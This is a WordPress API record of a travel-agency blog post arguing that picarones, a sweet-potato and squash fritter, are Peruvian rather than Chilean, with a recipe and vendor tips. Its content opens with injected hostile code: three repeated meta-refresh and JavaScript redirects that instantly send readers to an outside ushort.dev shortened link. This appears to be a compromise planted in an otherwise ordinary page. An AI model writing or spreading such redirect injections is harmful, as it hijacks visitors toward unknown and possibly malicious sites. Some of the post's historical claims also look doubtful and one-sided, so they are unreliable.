{"id":15396,"date":"2025-08-15T11:06:46","date_gmt":"2025-08-15T16:06:46","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=15396"},"modified":"2025-08-15T11:12:08","modified_gmt":"2025-08-15T16:12:08","slug":"picarones-perus-golden-rings-of-sweetness","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/picarones-perus-golden-rings-of-sweetness\/","title":{"rendered":"Picarones: Peru\u2019s Golden Rings of Sweetness"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Step into Lima\u2019s vibrant streets, where the aroma of sizzling dough and caramelized chancaca syrup fills the air. A &#8220;picaronera&#8221; twirls golden rings, fries them crisp, and drenches them in spiced, glossy syrup shimmering under Peru\u2019s sun.&nbsp;<\/p>\n\n\n\n<p>These are picarones, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\"><strong>Peru\u2019s beloved dessert<\/strong><\/a>\u2014not just a \u201cPeruvian doughnut\u201d but a cultural treasure rooted in Andean traditions and colonial flair.<\/p>\n\n\n\n<p>Therefore, in 2025, Chilean media, led by journalist Jos\u00e9 Antonio Neme, reignited a fiery debate by claiming picarones as Chilean.&nbsp;<\/p>\n\n\n\n<p>Peruvians clapped back, defending their culinary icon. Join us on a fact-packed journey to prove picarones are undeniably Peruvian, from ancient fields to Lima\u2019s festivals. Ready for a sweet adventure? So, let\u2019s settle the score!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Origins of Picarones: A Peruvian Classic<\/strong><\/h2>\n\n\n\n<p>Firstly, picarones are a love letter to Peru\u2019s heritage, blending indigenous ingenuity with colonial creativity. Their story starts in the pre-Hispanic Andes, where camote (sweet potato) and zapallo (squash)\u2014native to Peru\u2014were dietary staples.&nbsp;<\/p>\n\n\n\n<p>Archaeological sites like Huaca Prieta and <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/unveiling-caral-americas-oldest-civilization\/\" title=\"\">Caral<\/a><\/strong>, dating back over 4,000 years, show these crops mashed into early fried treats, laying the groundwork for picarones.<\/p>\n\n\n\n<p>Later, when Spanish colonizers arrived in the 16th century, they brought bu\u00f1uelos\u2014fried dough balls made with costly wheat flour.&nbsp;<\/p>\n\n\n\n<p>In Peru, where wheat was scarce, locals swapped it for abundant camote and zapallo, mixing them with yeast, flour, and anise for a light, earthy dough.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"366\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/photo.jpg?resize=697%2C366&#038;ssl=1\" alt=\"Three picarones wet with sweet sauce\" class=\"wp-image-15398\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/photo.jpg?resize=1024%2C538&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/photo.jpg?resize=300%2C158&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/photo.jpg?resize=768%2C403&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/photo.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Shaped like onion rings, fried to a golden crunch, and topped with chancaca\u2014unrefined cane sugar syrup spiced with cinnamon, cloves, and orange peel\u2014this fusion birthed picarones, a dessert that\u2019s pure Peru.<\/p>\n\n\n\n<p>Nonetheless, Chile\u2019s claim cites 19th-century mentions, like Jos\u00e9 Zapiola\u2019s 1872 memoir, noting picarones in Santiago\u2019s <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong>Plaza de Armas<\/strong><\/a> around the 1810s.&nbsp;<\/p>\n\n\n\n<p>However, Peru\u2019s timeline runs deeper. The 1867 Recetario Peruano, Peru\u2019s first cookbook, lists picarones as a Lima staple, and Pancho Fierro\u2019s 1840s watercolors depict picaroneras being them in colonial streets.<\/p>\n\n\n\n<p>&nbsp;A tale credits Rosal\u00eda, an<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/afro-peruvian-culture-history-and-traditions-in-peru\/\"><strong> Afro-Peruvian<\/strong><\/a> vendor, with bringing picarones to Chile in the 1820s after marrying a Chilean soldier during Peru\u2019s Liberation (1820\u20131824). This migration explains Chile\u2019s picarones, but their origin is unmistakably Peruvian.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The 2025 Chile-Peru Showdown: A Spicy Saga<\/strong><\/h2>\n\n\n\n<p>The debate flared in 2025 when Chilean journalist Jos\u00e9 Antonio Neme declared on Mega\u2019s Mucho Gusto (May 9, 2025), \u201cThe picar\u00f3n is Chilean, and I don\u2019t care what Peru says!\u201d&nbsp;<\/p>\n\n\n\n<p>This isn\u2019t Chile\u2019s first attempt. For example, a 2024 Chile Travel blog listed picarones as a \u201ctraditional Chilean dessert,\u201d sparking social network debates with Peruvian users citing <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-traditions-with-ricardo-palmas-tales\/\"><strong>Ricardo Palma\u2019s Tradiciones Peruanas.<\/strong><\/a><\/p>\n\n\n\n<p>In 2022, Spanish streamer Ibai Llanos called picarones Chilean in a Pepsi ad. However, a social media user claimed, \u201cPicarones are Peruvian, Ibai. Check history!\u201d&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"371\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/681e4960b660fc4b980a17fc.png?resize=640%2C371&#038;ssl=1\" alt=\"Picture divided in two that shows picarones with peruvian flag on the left, and chilean flag on the right.\" class=\"wp-image-15399\" style=\"width:712px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/681e4960b660fc4b980a17fc.png?w=640&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/681e4960b660fc4b980a17fc.png?resize=300%2C174&amp;ssl=1 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n<p>Later, the streamer apologized, noting, \u201cGoogle says picarones are from Peru\u2019s pre-Hispanic roots.\u201d In 2016, Chile\u2019s Marca Chile campaign labeled picarones Chilean, drawing attention from Peruvian historian Rosario Olivas Weston, who wrote, \u201cPicarones are Peruvian, blending Andean crops with colonial genius.\u201d&nbsp;<\/p>\n\n\n\n<p>Chile\u2019s picarones\u2014often squash-only with thicker, orange-heavy syrup\u2014are a regional twist, not an origin story. Peru\u2019s evidence is solid.<\/p>\n\n\n\n<p>Pre-Hispanic camote and zapallo use, colonial records like the Recetario Peruano, and cultural icons like Fierro\u2019s art and Rosa Mercedes Ayarza\u2019s 1940s song \u201cLa Picaronera.\u201d&nbsp;<\/p>\n\n\n\n<p>For example, the Rosal\u00eda story, backed by Curious Cuisiniere, shows Afro-Peruvian cooks spreading picarones to Chile. This 2025 clash, like disputes over pisco, is a friendly rivalry, but Peru\u2019s historical depth wins.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Crafting Picarones: A Peruvian Art<\/strong><\/h2>\n\n\n\n<p>Making picarones is a culinary dance. The dough starts with mashed camote and zapallo for earthy sweetness, mixed with flour, yeast, sugar, and anise seeds for a licorice zing.&nbsp;<\/p>\n\n\n\n<p>Fermented for hours, the sticky dough is shaped into rings with wet hands\u2014a Lima street trick\u2014then fried to a golden crunch in hot oil.<\/p>\n\n\n\n<p>Additionally, the chancaca syrup is the soul of picarones. Boiled from unrefined cane sugar (panela) with cinnamon, cloves, and orange peel.<\/p>\n\n\n\n<p>&nbsp;Similarly, sometimes Peruvian fruits like figs or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-aguaymanto-the-peruvian-andean-cherry\/\"><strong>aguaymanto<\/strong><\/a>, soak into the warm rings, balancing crunch with fragrant sweetness. <\/p>\n\n\n\n<p>In Lima, especially, vendors showcase variations like pisco-infused or <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/maiz-morado-perus-purple-corn-celebration\/\" title=\"\">purple corn<\/a><\/strong> syrups, vying for \u201cBest Picarone.\u201d<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/P1107086-1024x768-1.webp?resize=697%2C523&#038;ssl=1\" alt=\"Picaronera lady frying picarones using her fingers and sticks\" class=\"wp-image-15400\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/P1107086-1024x768-1.webp?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/P1107086-1024x768-1.webp?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/P1107086-1024x768-1.webp?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/P1107086-1024x768-1.webp?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Authentic Recipe<\/strong><\/h2>\n\n\n\n<p><strong>Dough<\/strong>: Boil 1 cup each peeled <em>camote<\/em> and <em>zapallo<\/em> until soft. Mash smooth, mix with 2 cups flour, 1 tbsp yeast, 2 tbsp sugar, 1 tsp anise seeds, and \u00bd cup water. Ferment 2\u20133 hours.<\/p>\n\n\n\n<p><strong>Fry<\/strong>: Heat oil to 350\u00b0F. Wet hands, shape dough into rings, and fry 2\u20133 minutes per side. Flip with a wooden stick, <em>picaronera<\/em>-style.<\/p>\n\n\n\n<p><strong>Syrup<\/strong>: Boil 1 lb <em>chancaca<\/em> (or molasses) with 2 cups water, 1 cinnamon stick, 3 cloves, orange peel, and a fig for 20 minutes until thick. Strain and cool slightly.<\/p>\n\n\n\n<p><strong>Serve<\/strong>: Drizzle hot <em>picarones<\/em> with warm syrup made from golden or brown sugar that Peruvians call \u201cmiel de chancaca\u201d.<\/p>\n\n\n\n<p><strong><em>Pro tip<\/em><\/strong><strong>: <\/strong>Keep your hands wet to shape the sticky dough like a Lima <em>picaronera<\/em>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/X4WC5E57S5FC7KGRTBZLPEMYBI.jpg?resize=697%2C929&#038;ssl=1\" alt=\"La negra Rosalia, an afro- Peruvian woman who went to Chile and started selling picarones,\" class=\"wp-image-15401\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/X4WC5E57S5FC7KGRTBZLPEMYBI.jpg?resize=768%2C1024&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/X4WC5E57S5FC7KGRTBZLPEMYBI.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/X4WC5E57S5FC7KGRTBZLPEMYBI.jpg?w=992&amp;ssl=1 992w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>&#8220;La negra&#8221; Rosalia, the first Picarones vendor in Chile.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Picarones in Peruvian Culture: A Sweet Heartbeat<\/strong><\/h2>\n\n\n\n<p>Picarones are Peru\u2019s cultural glue, uniting communities from Lima\u2019s plazas to Cusco\u2019s highlands. Since colonial times, \u201cpicaroneras\u201d have been street-food queens.<\/p>\n\n\n\n<p>&nbsp;Especially during the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lord-of-the-miracles-everything-you-need-to-know\/\"><strong>Lord of the Miracles<\/strong><\/a> in October, where purple-clad crowds enjoy picarones amid processions. Pancho Fierro\u2019s 1840s watercolors capture these women frying rings for eager eaters.<\/p>\n\n\n\n<p>&nbsp;Rosa Mercedes Ayarza\u2019s 1940s song \u201cLa Picaronera\u201d sings, \u201cHot picarones, round and toasted, with honey flowing!\u201d&nbsp;<\/p>\n\n\n\n<p>Picarones are communal joy, tying Peru\u2019s culinary heritage to its social spirit. Also, Afro-Peruvian cooks shaped picarones, adapting bu\u00f1uelos with camote and perfecting chancaca in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/complete-guide-to-the-best-markets-in-peru\/\"><strong>Lima\u2019s markets<\/strong><\/a>, making them a cultural mosaic that Chile\u2019s version can\u2019t match.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Chile\u2019s Claim Falls Flat<\/strong><\/h2>\n\n\n\n<p><strong>Pre-Hispanic Roots<\/strong>: <em>Camote<\/em> and <em>zapallo<\/em>, native to Peru, were used in ancient fried doughs, according to <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/mounds-and-huacas-perus-sacred-ancient-sites\/\" title=\"\">Huaca Prieta <\/a><\/strong>findings.<\/p>\n\n\n\n<p><strong>Colonial Evidence<\/strong>: The 1867 <em>Recetario Peruano<\/em> and Fierro\u2019s art confirm <em>picarones<\/em> as a Lima staple, predating Chile\u2019s 1810s mentions.<\/p>\n\n\n\n<p><strong>Cultural Icons<\/strong>: Ricardo Palma\u2019s <em>Tradiciones Peruanas<\/em> and Ayarza\u2019s \u201cLa Picaronera\u201d embed <em>picarones<\/em> in Peru\u2019s identity.<\/p>\n\n\n\n<p><strong>Migration Proof<\/strong>: Rosal\u00eda\u2019s 1820s journey to Chile shows Afro-Peruvian cooks spreading <em>picarones<\/em>, not inventing them there.<\/p>\n\n\n\n<p>Chile\u2019s squash-heavy <em>picarones<\/em> are a regional riff. The 2025 Neme controversy, like 2022\u2019s Llanos gaffe, reflects adoption, not invention. <em>Picarones<\/em> are Peru\u2019s, from our Andes to our hearts. Chile, give credit!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Foreign man eating picarones in a street stall\" class=\"wp-image-15402\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/464765077_8485432234886362_7605002615933223009_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>There&#8217;s nothing such as delicious picarones!<\/strong><\/figcaption><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Where to Savor Picarones<\/strong><\/h2>\n\n\n\n<p>For authentic picarones, visit Lima\u2019s Parque Kennedy or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/best-things-to-do-in-barranco-lima\/\"><strong>Barranco\u2019s Puente de los Suspiros<\/strong><\/a>, where vendors fry fresh rings nightly.&nbsp;<\/p>\n\n\n\n<p>In Cusco, San Pedro Market pairs them with chicha morada. Try La Picaronera (155 Mariscal Antonio Jos\u00e9 de Sucre Ave., San Miguel) for pisco or lucuma syrups.&nbsp;<\/p>\n\n\n\n<p>In conclusion, picarones are Peru\u2019s culinary crown, born from Andean crops, Afro-Peruvian skill, and colonial fusion. Pre-Hispanic roots, colonial records, and icons like Fierro\u2019s art crush Chile\u2019s 2025 claim.&nbsp;<\/p>\n\n\n\n<p>From Lima\u2019s picaroneras to Mistura\u2019s stalls, picarones are Peru\u2019s soul. Grab a plate, drizzle with chancaca, and sip a pisco sour\u2014you\u2019re tasting Peru\u2019s history. Chile, enjoy your picarones, but they\u2019re MarcaPer\u00fa, and that\u2019s sweeter than chancaca!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Finally, to learn about real and authentic Peruvian food, you can travel with us, <strong>Viagens Machu Picchu<\/strong>. Please feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a> to know about our best deals, promotions, and more! The adventure in the land of picarones awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Picarones are Peru\u2019s golden rings of heritage\u2014born from Andean crops, shaped by colonial and Afro-Peruvian traditions, and now central to a sweet culinary rivalry with Chile. From pre-Hispanic roots to Lima\u2019s street vendors, their origin is purely Peruvian.<\/p>\n","protected":false},"author":1,"featured_media":15403,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1850,3495],"tags":[5527,5531,5529,5528,5530,5532,1921,5428],"class_list":["post-15396","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food","category-peruvian-flavors","tag-anise-seeds","tag-brown-sugar","tag-chancaca-syrup","tag-golden-brown","tag-onion-ring","tag-picaroneras","tag-sweet-potato","tag-tradiciones-peruanas"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/24911880277_9f324e7ac2_b.jpg?fit=1024%2C768&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-40k","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=15396"}],"version-history":[{"count":4,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15396\/revisions"}],"predecessor-version":[{"id":17749,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15396\/revisions\/17749"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/15403"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=15396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=15396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=15396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}